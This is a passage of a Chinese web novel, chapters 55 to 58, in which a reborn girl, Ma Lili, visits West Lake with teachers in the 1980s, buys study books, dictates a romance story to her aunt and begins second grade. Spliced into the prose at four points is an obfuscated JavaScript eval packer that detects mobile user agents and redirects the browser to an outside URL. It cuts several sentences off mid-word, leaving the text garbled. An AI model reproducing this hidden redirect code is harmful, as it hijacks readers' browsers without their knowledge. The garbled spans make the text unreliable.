马丽丽也小声回答：“我看不像，旁边就有厕所，估计是刚才早饭吃的太饱了，消化消化。” 古明月觉得有道理，“虽然早饭不要钱，可是也不能吃的太饱，待会要坐车呢。我都不敢多喝水，我妈说外头的厕所要收钱。” 马丽丽：“是的呢，之前我和我妈回鲁省老家的时候，路上遇到的厕所很多都要收钱的，不过价钱不一样，有的五分钱，有的一毛钱。” “哈？这么贵？”古明月表示不理解，上厕所还要收钱，本来就很夸张了收费这么贵，更是夸张，她带来的零用钱都还不够上几趟厕所呢。 “走啦走啦，去西湖，去西湖。”司机走进来吆喝，所有人呼啦啦的一起上车，年纪大的和女同志们都坐在前面，年轻的，男老师们就坐在比较后的地方。 这回古明月和马丽丽就坐了个前后座，两女孩一路上对着街景和行人们指指点点小声bb。 55.第五十五章 大城市就是不一样，不但人多汽车多，就连骑自行车的人也多。楼房不但多，还高，道路两旁的铺子也多，卖什么的都有。 没有导游，到了地儿司机就把大家放下了，只约好了中午回去的时间，司机就开着车一溜烟的跑了。 旅游还不是西湖市经济主要支柱，西湖也只是一个普通的休闲游玩场所，只是比较有名罢了，之前还曾因为雨水太少差点干涸，直到前几年引入钱塘江水，西湖这才恢复美貌。 小孩子们还在四处张望，大人们已经决定了接下来的行程，这附近就是雷峰塔，大家首先就去那里看了看。 来雷峰塔游玩的人不多，大多都是外地人。塔前还立了个牌子，介绍了一下雷峰塔的历史，当然，是正经版本，没有神话故事。 雷峰塔看起来旧旧的，十分原生态，塔身长满了野草。内部有楼梯，也没有禁止攀登，但是石阶十分陈旧，没有灯，抬头向上看，黑咕隆咚的什么也看不见。 原本还想上去看看的老师们，顿时就打了退堂鼓，决定在外面看看就好。 语文老师对着两个年龄稍大的女孩子简单说了说关于《论雷峰塔的倒掉》和鲁迅的二三事，还有许仙和白娘子的故事。 国民大热剧《新白娘子传奇》还得过几年才面世，如今大家知道的故事和电视剧还是略有不同，比如白娘子化形不是抢了法海的仙丹，而是吕洞宾（是的又是他，他真的很喜欢在凡间搞事）变成一个卖汤圆的老头，卖的是“一文钱三个的大汤圆和三文钱一个的小汤圆”。可是大家都只想占便宜买大汤圆，最后老头把一个小汤圆扔湖里，说那其实是个仙丹，然后变回原型飞走了，大家才知道便宜就是吃亏，那个小汤圆自然是被湖里的小白吃了，于是白娘子化形成功，这才有了后面的故事。 这么一说，历史老师根据介绍掐指一算，如果白娘子没有被她儿子救出来的话，到现在也才八百多年，还没有一千年，估计还在塔下压着呢，大家伙便开始津津乐道这塔下的山搞不好就是白娘子化形而成，又猜小青会不会在湖底盘着，把路人都给听住了。 看完塔，时间还早，大家便沿着湖边向前走，途中看到一个照相馆，便有老师进去问能不能跟雷峰塔合影。 照相馆师傅经验十足，立刻就在门口附近的地方找了一个合适的位置，背景就是雷峰塔，而且这个时候光线也很好，于是老师们纷纷都在这里照了一张和远处雷峰塔的合影，最后，所有老师们还照了一张大合照。 照完相交了钱，留下地址后，大家又继续向前走。 在小朋友们体力耗尽的时候，路边骑着单车带着棉被木头箱子卖冰棍的大爷救了家长一命，用一根最便宜的冰棍给孩子们续航后，所有人继续前进，最后发现了一个渡口。 这里有游览船可以从湖上游览西湖，大概一个半至两个小时，票价两元，小孩半价。 这个票价劝退了大部分的老师，不过也有几个老师商量了一下，决定坐船游览的，毕竟来都来了嘛。 徐明惠一开始也不打算去坐船的，不就坐个船吗，还要两块钱，幸福小镇船有的是，想坐可以回去坐嘛。 这马丽丽能答应吗？徐明惠不想出钱，她有呀。那边老师们还在商量坐船呢，这边马丽丽马上掏出她的青蛙小钱包，从里面掏出三块钱。 “妈，给，我带钱了，咱们也坐船去。”马丽丽挥舞着钞票给徐明惠看，顿时就有老师开始调侃“哎呦，徐老师你女儿可真孝顺呀”“马丽丽，请你妈妈坐船呀？” “哎呀，没有没有，小孩子有点钱就想花。”徐明惠一边谦虚一边抓着马丽丽小声问：“你钱哪来的？” “我自己攒的。” 徐明惠也就多问一句，她早就发现了，女儿总是有各种各样的小办法弄点小零花钱，不过一般来说也就弄个块把分毛的，徐明惠就没管，谁能想到马丽丽私底下能写文章赚钱啊。 买了票，大家都去排队。坐船的人还挺多的，一艘游船能坐十个人，坐满了或者有一艘回来了就走。 马丽丽数了数人头，前面排队的加上她和妈妈有11个人，她拉了拉徐明惠：“妈，我们和肖老师换个位置吧，前面正好十个人。” 徐明惠数了数倒也是，于是便和后头的肖老师说了一声，肖老师自无不可。 马丽丽和妈妈徐明惠上了第二艘游船，船夫有意等前头的那艘走了一段时间后，才慢慢开始行进。他对船上的游客们说：“嘿，咱们这的游船可紧俏了，好在现在时间还早，不然可得等挺久的呢。” 可不是嘛，游览一圈就得一两个小时，万一前头的船走了，后头的船又没回来，还不知道要等多久呢。 可见大家来的挺早，运气也都很好。 七月份，西湖边上已经开满了荷花，船夫有意带着大家从荷花边路过，好欣赏美景。 清晨的露珠还没有完全干透，豆娘挂在花苞上晾着翅膀，蜻蜓却已经开始飞舞。隐约能见远处荷叶下有鱼儿在游动，游船的水波荡过去，它们就惊慌的潜入水下。 虽然气温已经升高，但是湖面上吹来的风却十分凉爽。大大小小碧绿的荷叶中，还凝着水滴，坐在游船上好像伸手就能采摘，不过船夫却提醒大家不要伸手，毕竟荷花梗可是带刺的，别荷叶荷花没折断，手却划破了，那可就糟糕了。 游船匀速行驶，在快到景点的地方，船夫就会慢行下来并提醒大家附近的景点。虽然没有导游，带西湖的人文景观和自然景色实在太多也太有名，船夫也都耳熟能详，遇到景点都是侃侃而谈，什么历史小故事啦，神话传说啦，甚至还有很多版本呢。 甚至路过三潭印月的地方，大家还看见有人划着小船到那里拍照，有几个游客十分心动，纷纷向船夫打听，哪里可以有这种划船到近处照相的服务。 没有手机的打扰，大家都把注意力放在美景和故事上，一个多小时的时间一下子就过去了，好像才刚刚离开岸边不久呢，就已经在西湖上绕了一个圈，又回到了原地。 “到啦。”船夫把船轻轻靠向码头，他甩出绳套，又踢出跳板，向游客们挥挥手示意大家可以上岸了。 意犹未尽的游客们上了岸又向着荷花丛的方向走过去，准备去照相留念，不过老师们却是不行了的，因为时间快到了，他们得赶紧回聚集地准备坐车回旅店吃午饭。 旅店不仅包午饭，吃的还不错，其中有一道西湖醋鱼马丽丽特别尝了尝，发现还挺好吃的，酸甜口，有点像糖醋鱼，完全没有后世梗那种“吃一口只想扔西湖里”或是“这条鱼白死了”的感觉。 一桌子菜除了鱼，还有叫花鸡、东坡肉、莼菜汤、干炸响铃、鱼圆、小笼包以及各种青菜，怎么说呢，肉菜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15187498|160363||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 虽然好吃，但份量好像有点少，差不多就是一人一份，马丽丽不算人头，只能跟妈妈分着吃。总体来说这些菜口味清淡偏甜，对于大家来说不大适口，于是有一个老师拿出了一瓶辣椒酱…… 马丽丽上辈子没来过西湖市，不过吃这一次，完全想象不到以后西湖市会变成有名的美食荒漠呢。 下午就是自由活动时间，外头艳阳高照，老师们吃了饭就回房间睡觉去了。 房间里也不凉快，头顶的吊扇开到最大一档，吹得声音呼呼直响。三人轮流擦了擦身上的汗，叶老师又接了点水撒在水泥地上，折腾了好一会儿，最后躺在床上半天，才感觉凉快了一些。 就这么着，两个大人还决定下午出门去逛逛，她俩之前已经问过了前台，附近有公交车可以直接坐到西湖市最大的百货商店，反正商店里也有风扇，搞不好还凉快些。 这个理由可说服不了马丽丽，今天就算是太阳掉下来，她也不出这个门。 没办法，徐明惠只好交待说不出去就不能自己个儿跑出去，万一丢了可就回不来了云云，马丽丽自是一口答应。 本来留这个年纪的小孩自己在旅馆是很不妥当，但马丽丽已经用几年时间证明了她的靠谱，所以徐明惠放心的走了，临走前还给马丽丽买了一斤葡萄当零嘴。 徐明惠和叶老师一走，马丽丽立刻打开电视，今天早上她就发现了，西湖市的电视频道和幸福小镇的不太一样，能收到好几个台不说，还有一个台能收看外国电视剧和动画片。 天堂！ 马丽丽看得津津有味，先是《恐龙特急克塞号》，然后是《女奴》，都是前几年流行的热门电视剧，一集大概也就十五到半个小时左右，放两集换一个剧，中间还插播广告和外国景色。 趁着放广告，马丽丽迅速起来，偷偷用纸夹着门，然后飞快的去楼下买了一瓶汽水和两包小零食又回来，电视上开始放新剧了，动画片。 这边马丽丽一下午吃吃喝喝看电视好不惬意，那边徐明惠和叶老师两个人，快到五点才回来，两人大包小包提了一大堆战利品，一回来又是灌水又是洗脸，然后倒在床上动弹不得。 歇了半晌，两人起来收拾今天的胜利品。两人都买了好几条丝巾，有印花的有刺绣的，这个大概是性价比最高的特产了。还有茶叶，龙井茶茉莉花茶，包括杭白菊，都得尝尝。 如果可以，叶老师还挺想买点莼菜带回去，可惜这玩意儿没法带。徐明惠就不喜欢，她觉得吃起来滑滑的，像那啥一样。 除了丝巾和茶叶，两位老师还买了藕粉和干莲子。幸福小镇这边其实也有卖莲子的，但来都来了，也看看人家西湖的莲子会不会更好吃。而且两人以前都没见过藕粉这种吃法，对着说明研究了好一会儿，不过也没舍得打开试一试，还是准备包装完整的带回去送人。 虽然只是第一天，不过大部分想买的都买了，徐明惠还打算买点特产点心什么的，那需要等最后一天买才行。 其他的什么小工艺品、扇子、印着西湖景色的手绢等等，不足为奇，甚至两人还各买了一把“张小泉”剪刀，林林总总，铺了一床。 看着这一床的玩意儿，马丽丽深感网购是多么造福购物狂。 不知道另一位马爸爸是不是就是在这种环境下，深感购物不便，最后才开创了购物新时代？ 56.第五十六章 不光是徐明惠这个房间两个老师下午去逛了街，其他房间的老师也都没闲着。等到吃晚饭的时候，虽然大家又累又饿，可是却又热的吃不下饭。 好在晚饭也不像中午那样都是大鱼大肉式的丰盛，菜品大多数都是爽口蔬菜，主食还有稀饭，还有可以随意取食的绿豆汤。 马丽丽灵机一动，绿豆汤兑稀饭不就是绿豆稀饭吗，解暑饱腹又不用多喝一碗水，几个女老师觉得这办法不错，也纷纷效仿了。 之后两天的行程也和第一天类似，一大早吃完饭后，大家伙被拉到景点自由参观，中午回旅店吃饭，下午又是自由活动。 因为天气太热，大部分老师已经没有第一天逛街热情了，甚至还有几位老师干脆晚饭也不在旅店吃，直接下午四五点钟不那么热了才出门去逛街，在外面吃晚饭，八九点再回来睡觉。 徐明惠主打就是一个精力旺盛，该省省该花花，日头晒晒有什么，可以打伞呀。既然带着马丽丽出来了，就不能让她天天在房间里吹风扇，看电视，不然不就白来了吗？于是第二天大热天中午两三点她带着马丽丽坐公交车去逛街。 大中午的，不光街上，就连商场里头人也不多。至于去哪？徐明惠早就看好了，六和塔下钱塘江边有个专门游泳的地方，又能看见塔，又能看见桥，又能游泳解暑，又能消磨时间，完美。 被带到江边的时候，马丽丽是懵逼的，万万没想到，出来逛个街还得先游泳。 徐明惠自己倒是带了一件泳衣这附近也有简易更衣室和存包的地方，可是马丽丽哪有游泳衣，她在幸福小镇游泳的时候，就是穿着裙子直接下水的。 徐明惠想让马丽丽脱光了游泳，被马丽丽拼死反对，她才不要在一群陌生人中间光着屁股游泳呢！ 宁死不屈！ 马丽丽像只水母似的漂在水面，心想这叫什么事儿啊，人家到西湖市旅游都是到各个景点打卡，她们旅游就搁这游泳来了，老妈还早有准备，那泳衣一准是她昨天买的。 别说，这大热天中午泡水里头确实凉快，就是脑袋晒的不行，马丽丽一会儿把脑袋泡水里，一会又伸出来喘口气。 徐明惠有时候还真不太在意别人的想法，在她看来，旅游和游泳也不冲突呀。 游了好一会儿两人爬上岸，徐明惠换下泳衣，把泳衣和马丽丽的短裤，以及马丽丽一起铺在浴场的石板上。很快泳衣短裤和马丽丽身上的衣服就干了，收拾整理好衣服，两人接着去下一个地方。 几年前红太阳广场新建了一个喷水池，听说还有音乐喷泉，漂亮倒是挺漂亮，可是徐明惠一打听，音乐喷泉得晚上七点才开始呢，这附近也没有照相馆，不过，幸好附近有商场和商店。 马丽丽：…… 想逛街就直接说逛街，干嘛说什么看喷泉，啧。 街上不光有商场和商店，还有新华书店。新华书店不愧是书店中的地产商大佬，每个城市的繁华之地，都有它的身影。 马丽丽一看见新华书店就走不动道，拉着徐明惠就进。 不愧是西湖市的新华书店，比小地方的书店资料就是齐全。 马丽丽仔细斟酌了一下，她记得等到她初中时，教材会换成实验版本，这也是为什么80后被称为实验的一代，到时候所有的学习资料都会同步更换，现在买这些初中教材资料感觉意义不大。 马丽丽看了半天，还是决定买几本工具书和试卷题，毕竟不管怎么变，公式和语法不会变。 80年代还处于正在摸索有效学习方法的初级阶段，别说什么“五年高考三年模拟”“黄冈密卷”，很多小镇的学生们甚至都不知道有“小镇做题家”这种刷题的学习方法，更有甚者，想刷题也没有题目可做，手边可用的学习资料只有课本而已，想在学习中力争上游，一靠天赋，二靠老师。 马丽丽先选了一本应试的英语语法书，之前她跟孙老爷子学的英语都是野路子，买本书才好理顺思路。就像在青青草原上的小绵羊，之前就是把羊毛剃下来做棉袄，现在是纺成羊毛线，再用来织衣服，深加工。 在几经犹豫后，马丽丽选了两本理科公式书，上册是针对初中，下册是针对高中，厚厚两本涵盖了初高中数理化的所有公式，还附带例题和习题，以及答案，虽然不知道几年后会不会有变化，但马丽丽一咬牙还是拿下了。 有道是，“学会数理化，走遍天下都不怕”，语文马丽丽自带天赋，英语也是笨鸟先飞了，唯有数学……不是有句话吗，“人逼急了什么都会做，但只有数学不行，不会就是不会”。 马丽丽觉得自己学数学有天花板，她不敢考验自己的天赋，只能两手抓，一边当小镇做题家，一边拓宽思路，所以她在售货员的建议下挑了两本数学习题，一本物理题集，最后又在推荐中选了一本奥数的习题。 现在还不流行那种试卷本，奥数题集是一本厚厚的书，里面先是给解题思路取个名字，然后列出各种题型中这种方法的运用和讲解，跟个武功秘籍似的。 说起来中国在八十年代初就慢慢开始兴起奥数，但马丽丽直到九十年代初中时才第一次听说“奥数”这个词，她懵懵懂懂的参加了一次初试，又懵懵懂懂的被刷掉。 虽然不是为了能参加个奥数考试啥的，但是人家这解题思路确实可以好好研究研究。这解题嘛，也是条条大路通罗马，以前只知道跟着老师走一条道，现在多知道几条道，这条不行走那条也不错。 除了这些学习用的书，马丽丽还看到了后来说的三大穿越宝典《民兵军事训练手册》、《军地两用人才之友》和《赤脚医生手册》，她立刻拿了一本《赤脚医生手册》。马丽丽老爸算是学院派的，家里没有这个，但上一世长大后她无意中翻到过这本书，觉得还挺实用，厚厚一本才一块多，便宜，买了。 这年头除了英语学习资料，外语书还真是挺少的，整个书店看着满满当当，分门别类一下，大部分是学习用书，小说也只有那些经典的，还有《北方的河》《南方的岸》之类获奖作品。什么武侠言情，那都是不能登大雅之堂的通俗小说，只有私人书店才会卖的，倒是小人书占了一席之地，流量最大的估计是那些杂志。 马丽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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休息了两天，把该送手信都送完了，该补的功课也补完了之后，马丽丽开始了疯狂的码字，这次游玩给了她不少灵感，都记在了她带的本子上。而且这回她可是深刻的体会到了“没有钱是万万不能的”这句话的含义，可是以她的年龄也没有什么赚钱手段，只好多多码字这样子。 唉，要是有一台电脑该多好呀！哪像现在，每天就算写到手断了也不可能日万，最重要的是脑子太快而手太慢，即使脑子已经想到五千字后面的剧情了，手还是得慢慢写到一千二。 当然，这些都还只是初稿，得至少修改个两三次才能写到稿纸上寄出去，即使有刊登的可能也得再修改好几次呢。 马丽丽只疯狂了十天就宣布阵亡，她感觉自己头痛脖子痛全身肌肉酸痛手更是痛得快要断了，反正是没办法继续下去了。 十天半个月，马丽丽在西湖市买的资料也到了，她决定刷题换换脑子。 徐明红觉得十分不能理解。什么人这是，你小学一年级，哦不，一年级毕业二年级没上，刷初中高中题换脑子？没事吧？ 57.第五十七章 对于学习的事，徐明红总是无法理解，反正考上中专她的任务基本就结束了，中专不需要学费，甚至学的好还有补贴，当然这个徐明红是没有的。 不过家里也不是一点钱不给，生活费还是有的，徐明红省吃简用，挤了钱出来买磁带和小说，家里没有收音机，她就跑到马丽丽家来听。等马丽丽买的磁带一到，她可算是听疯了，看到省城的花花世界还不够花，最流行也不过就是港澳台音乐，哪有这外国歌来的刺激？ 这盘磁带可不便宜，是正版货，也是因为迈克尔杰克逊在国际影响力巨大，而且前两年他还来中国游玩了几天，这才让这块磁带出现在了新华书店里。 徐明红多次企图把磁带借回去听，被扎扎实实的拒绝了，她只好拿着本子来，把所有歌词抄下来，当初英语考试勉强才能及格，如今却硬是把英语歌词背了下来。 要不怎么说兴趣才是最好的老师呢。 徐明红天天泡在马丽丽房间里听歌，结果就是……她发现了马丽丽写的小作文。 马丽丽是用材料纸码字的，为了方便修改，写一行空一行，为了省劲，字写的密密麻麻又细又小。初稿只贴着线占了0.5行，第一次修改就写在另一半0.5行，如果还要改，就写在空的那行的0.5，再有0.5空白以示行距。 徐明红第一眼，什么玩意一团浆糊？第二眼，好像写了个故事，不确定，再看看。 囫囵吞枣的扫完几张纸，徐明红看出点门道来了，她捅了捅马丽丽，“你要写言情小说？” 马丽丽正沉浸在刷题的乐趣中呢，别说，这书是真教东西，看的懂跟着做就能学会，不像几十年后的课本，还有啥防自学机制？先告诉你这玩意的历史，再告诉你学这玩意的目的，然后是学这玩意重要性……一本书说不着重点，书本费全交在老师嘴里了。 突然旁边徐明红一顿乱捅，把马丽丽的思路都打断了。 “哈？啥？” “我说，你要写言情小说啊？是准备投稿吗？你这写的。”徐明红翻了翻材料纸本子，发出灵魂质问，“后面的呢？” 当面催稿的恐惧立时让马丽丽清醒过来，她看了一眼徐明红手里的稿子，感觉有点眼瞎。啊，她花了十天鸡血上头疯狂码字，改来改去结果也就三四万字，感情线才刚刚开了个头，正所谓一顿操作猛如虎，一看效果0.5，白瞎她写的大纲了。 “不写了，懒得抄，写给谁看啊又找不到地方出稿子。”马丽丽说，还不如写小作文呢，至少投报纸知道怎么操作，而且回复快，来钱也快，如果是投杂志的小说那可是遥遥无期，但马丽丽最近发现，就算是武侠小说也有地方可投，这言情小说能找哪啊？现在最流行的言情小说家，都是弯弯家引进的，市面上盗版泛滥，就没见过自家有哪里出过书的。 不明白马丽丽苦恼的徐明红十分热情，“我帮你抄。”反正闲着也是闲着。 说干就干，徐明红重新找了一本信纸，又特地跑回家把习惯用的钢笔和墨水拿过来，然后把马丽丽写在材料纸上的稿子整齐的抄下来，遇到看不明白的地方还向马丽丽问个清楚再抄上。 马丽丽：至于吗？ 至于！现在的娱乐真是太少了，在学校里没有电视，又不可能带着巨大的收音机去，学校在郊区又没有街可逛，平时就靠图书馆零星的几本杂志和校门口的租书摊子过活，那日子过的，除了课本，是张带字的纸都得翻看好几遍，徐明红甚至曾经在蹲坑的时候看了一张药盒里的说明书。 呃……这也太惨了吧？马丽丽一脸扭曲，好吧，如果有人帮忙写字，她口述的话……也不是不行。 “等一下！”徐明红叫了暂停，“我去拿盒空白磁带，你说快了也没事，先录下来，我慢慢写。” 马丽丽也是无语，这么厉害的办法都叫你想出来了，也太拼了吧？ 好吧好吧。 等徐明红把马丽丽之前码的字都抄完了，马丽丽也刷题准备休息一下，她拿起大纲和徐明红抄完的本子回忆了一下剧情，开始对着收音机口述起来。 马丽丽看了三十多年的小说，不管什么赛道她都涉及过，自己也曾因为书荒当过码字机，要写个早古言情那不是手到擒来？反正真正写字的又不是她自己，只出脑壳子不出手腕子效率也高。 真正辛苦的是只出手腕子不出脑酱子的徐明红。 每晚睡觉前马丽丽都会躺在床上静静的构思小说，等到早上老爸上班后，小姨徐明红就会过来，两人在房间里关着门，这就正式开始了。 故事不算复杂，甚至情节在马丽丽看来十分烂大街。 说的是一个女孩穿越掉在一条中世纪的海船上，她还记得那时候的海船不允许女人上船，于是偷了一身男孩的衣服，假装学徒。之后她被大副（当然是个帅哥）无意中发现了身份，在大副的帮助下她得以继续隐瞒身份，后来还在暴风雨中立了大功。 两人理所当然的相爱了。 船靠岸后，女孩被大副带回了家，这才知道原来大副是国王的第二个儿子。女孩觉得跟王子相恋麻烦太多，决定离开，可是被二王子发现，两人大吵一架，在激将法下，女孩不但答应留下，而且还答应跟二王子去参加宫廷宴会当众承认恋情。 在宴会上，异国的女孩自然受到了刁难，但她以现代人的自尊、修养和知识漂亮反击，赢得尊重，惊艳全场，虽然王后还略有不豫，但大王子却是力挺他俩的真爱，一力说服了国王，最后国王默认了二王子和女孩的婚事。 在结婚前夜，二王子不顾习俗偷偷来见女孩。 原本是温馨时刻，女孩却淡然问二王子，你知道你大哥是因为担心你和他争夺王位才支持我们结婚的吗？如果你和我这个异国女孩结婚，就没办法跟他争了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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看来小姨并不能欣赏呢，“那就红尘过客，跟我的笔名很搭。”反正都是随便起的。 徐明红也不算满意，可是自己也想不出更好的，于是马丽丽就写上了“红尘过客笔录”，几个字。 “时空大仙口述，红尘过客笔录。”徐明红得意的不行，恨不能现在就开学然后向同学好好展示一下。 “我看你还是再抄一遍放家里吧，小心传着传着就破了烂了找不见了，那咱俩不是白辛苦了吗。”马丽丽在一旁泼冷水。 徐明红：…… 也不是不可能啊！怎么这样！！ 徐明红苦恼，徐明红思考，徐明红……下不了决心再抄一遍。 “算了，到时候再说吧。”徐明红把这个问题抛在脑后，打开房间门出去，把泡在水桶里的西瓜抱出来，“吃瓜不？” “吃。” 58.第五十八章 徐明惠在学校开完会，与住在附近的同事们一路回来，才走到单元门口仰头就瞧见妹妹和女儿两人站在二楼阳台上，半个西瓜放在水泥栏杆上，两人一手扶瓜一手拿勺，一边挖着瓜吃一边突突的向下吐瓜子比赛谁吐的远。 “妈”，马丽丽一眼看到徐明惠，又跟着向其他老师打招呼，“叶老师好，王老师好，尹老师好。”徐明红在旁边僵硬的跟老师们挥手。 “你俩干吗呢，进去吃。”徐明惠觉得有点丢脸。 上头两人立刻老实举着瓜滚了进去。 徐明惠到家便是一顿絮叨，站在阳台上吐瓜子，这像话吗？吧啦吧啦……只是听的两人“嗯嗯”点头一副敷衍的样子。 今年是徐明红读书的最后一年，明年等她毕业了，这边徐正义就可以正式退休，徐明红正好无缝衔顶班上去，等到她赚钱养家的时候自然就知道了。 想到这个，徐明惠懒的说什么，也去厨房吃瓜了。 徐明惠一转身，俩小的就相视偷偷吐舌，幸好刚才为了切瓜把东西都收拾了一下，不然要是被老姐/老妈发现那还了得？ “我走了，到时候给你写信。”徐明红带着她的得意之作去了学校。 这次是二哥徐高远送她去，照例又是早早的托人买了车票，徐高远负责扛行李，他不禁感慨自己当年可没这么好的待遇，女孩子就是娇贵呀。 等徐高远回来，幸福小镇的子弟学校也要开学了，马丽丽也升上了二年级。 开学伊始，所有年级都向前换了一个教室，围观了像小鹌鹑的一年级新生，二年级们都信誓旦旦自己去年决不是这样。 之后照例又是大扫除、发新书、包书皮。 马天华拿出去年的挂历纸来包书，厚厚的挂历纸得用尺子帮忙才能压出漂亮的痕迹，书角还要折出一个翻角来才好看，雪白的书皮上用毛笔写上科目、年级和名字，因为光滑的挂历纸不吸墨，还要放在一旁晾半天干了才能上手。 新书翻开就是好闻的油墨香，二年级的内容对马丽丽来说太简单了，不过她还是十分珍惜的全部翻看了一遍，满满都是干货，这是她的童年。 开学对马丽丽来说跟休息差不多，她在学校是不会做出刷初中题这种事情的，上课的时候她会忍不住走神构思她要投稿的小作文，三千以内大纲都省了。 短的可以投报纸，长的可以投杂志，那种专门连载小说的杂志反而很难，不过马丽丽一直坚持向《读者文摘》等几个杂志实名投稿，这几本鸡汤杂志未来十年都十分流行，甚至还出现过高考作文的类似文章，要是……那一定很有趣，嘿嘿。 几个任课老师早就发现了坐在前排的马丽丽上课经常走神，可是她上课不吵不闹，每次叫起来回答问题都能答上来，字也写的整齐漂亮，比起上了一半要拉屎拉尿的、手贱拉前排女同学辫子然后两人在课堂上大打出手的、上着课突然大哭着说想妈妈要回家的……马丽丽同学真是个好同学啊，小朋友走神很正常。 “哎，马丽丽，暑假你去哪玩了，好玩不，有没有买什么回来？”第一节课下课后，朱莉莉逮着马丽丽就问，她是知道马丽丽暑假跟着妈妈去旅游了的，昨天又是搞卫生又是发新书，也没来得及问。 “啊，我们去了西湖市，那里有西湖，还有雷峰塔，唉，话说有一条蜀省的蛇，喜欢上一个浙省的男的，后来还为了他施法淹了苏省的地界。”马丽丽说了一个后世的梗，一下子把大家都听懵了。 “啊？什么？” “让我给你们说说。” 马丽丽开始绘声绘色的说起先前各位语文老师们讲的古，再结合妈妈在西湖市买的那本《西湖市神话传说》里的故事，附近的同学都围了过来。 “马丽丽，你说的都可以写成故事了。”一个听得意犹未尽的同学不由道。 “啊哈哈哈，这就是我从故事书上看来的嘛。”马丽丽大方的分享自己的书籍，不过二年级还没有能认全字的。 “我下午带书来念，有喜欢的可以一起来听。”马丽丽说。下午只上两节课，五点就放学了，家长们都是六点下班，所以大多数学生都是先疯玩一小时再回家，像马丽丽他们以前就是在学校把家庭作业做完，再玩到大人下班，然后回家吃饭，吃完又继续出来玩的。 下午马丽丽带了书来，她是打算放学后念的，可是同学们都等不及，总要她下课十分钟就念一个，马丽丽可不敢，万一上课了故事没念完，那听得人上课还能上吗？她还不得撞枪口上？ 不过没关系，马丽丽还带来了另一个宝贝。 “看这个。”马丽丽高举起一个从拳头还大的皮筋团，这可是一整根新崭崭的皮筋，蓝色的。 跳皮筋固然是现在女孩子们最流行的游戏，但一根足够长能用来玩乐的皮筋可不容易弄到，大多数时候都是家里用旧的裤腰带上拆下来的，然后再把一根根裤腰带皮筋用许多的结头拼接起来，有的皮筋因为太旧了弹性不好甚至断成一节一节的，全靠外面的编织绳连在一起。 就这，有时候也不是一个女孩能凑得起来的，可能得几个女孩凑一根，所以也不是每个年级的女孩们都能有一根能跳的皮筋，至少马丽丽就知道小学四年级没有，所有四年级的女孩想玩跳皮筋都只能跟比她们小或是比她们大的女孩一起玩。 这就是物质匮乏和没钱的坏处了。 好在跳皮筋也不是女孩们唯一的娱乐项目。 不过马丽丽拿出来的皮筋也立刻让班上所有女孩们的眼睛都亮了，就是真.“噌”的一下发光那种。“哇！”所有女孩们统一的发出了响亮的惊呼声。 “走，出去玩。”马丽丽被女孩们簇拥的走到外面，皮筋团被打开，女孩们都不由的扶着一小段拉开，最后马丽丽像剪彩一样给皮筋打上唯一的结，“好了，我们来玩跳皮筋。” 女孩们欢呼着迅速用手心手背分成了两队，往日总是被暗暗嫌弃的洪细妹变成了大家抢夺的对象，两队说好，即使她负责牵绳也得比着对面女孩的高度来，不能超过太多。 比划来比划去，最后玩的时间也不够，大家相互要求等下放学还要继续，反正今天得玩个够。， 马丽丽：…… 啊？那这书……还念不念了？ 当然不念啊，故事哪有跳新皮筋重要。 马丽丽觉得自己好像小砸了自己一下，有点小尴尬啊，没事哒没事哒。 马丽丽的生活非常规律，早上早起听广播自己早读，在学校就跟正常小学生一样上课，下午放学迅速写完作业然后跟大家一起玩一个小时，通常是跳她的新皮筋。 虽然没有钟表，但是夏令时电厂六点下班会准点开始放广播，听到广播马丽丽就跟下班似的回家，当然其他同学还有想继续玩的，马丽丽会指定一个女同学负责保管皮筋，第二天再带来（大家都很乐意）。 吃了饭，散了步，回来就是三个步骤，看老妈的教材自学、刷题、码字，累了就做点手工休息一下。有个数学老师的老妈确实方便，可惜她以前没有好好把握。 十点之后，困了就睡，反正早上起的来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15203094|160363||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 平时还会去孙爷爷他们那玩，顺便刷刷外语，这玩意儿就得常练常新。 有时候徐明惠也忍不住跟马天华嘀咕：“你说这丽丽，才小学就这么用功，你老马家难道祖坟冒青烟，要出个天才？” “哪有的事，爱学习还不好啊？”马天华不以为然。 话虽如此，其实马天华也觉得有点那啥，主要是因为上次他叫马丽丽睡觉的时候，看见满桌子的书本，被“嗡嗡”的小电风扇吹得哗啦哗啦响，就在这热闹声中，马丽丽正在奋笔疾书写着什么，她一脸龇牙咧嘴可不像是喜欢学习的样子。 于是在吃晚饭的时候，马天华很有心机的问马丽丽：“丽丽，最近……怎么你晚上都不跟小朋友一起去玩了啊？” 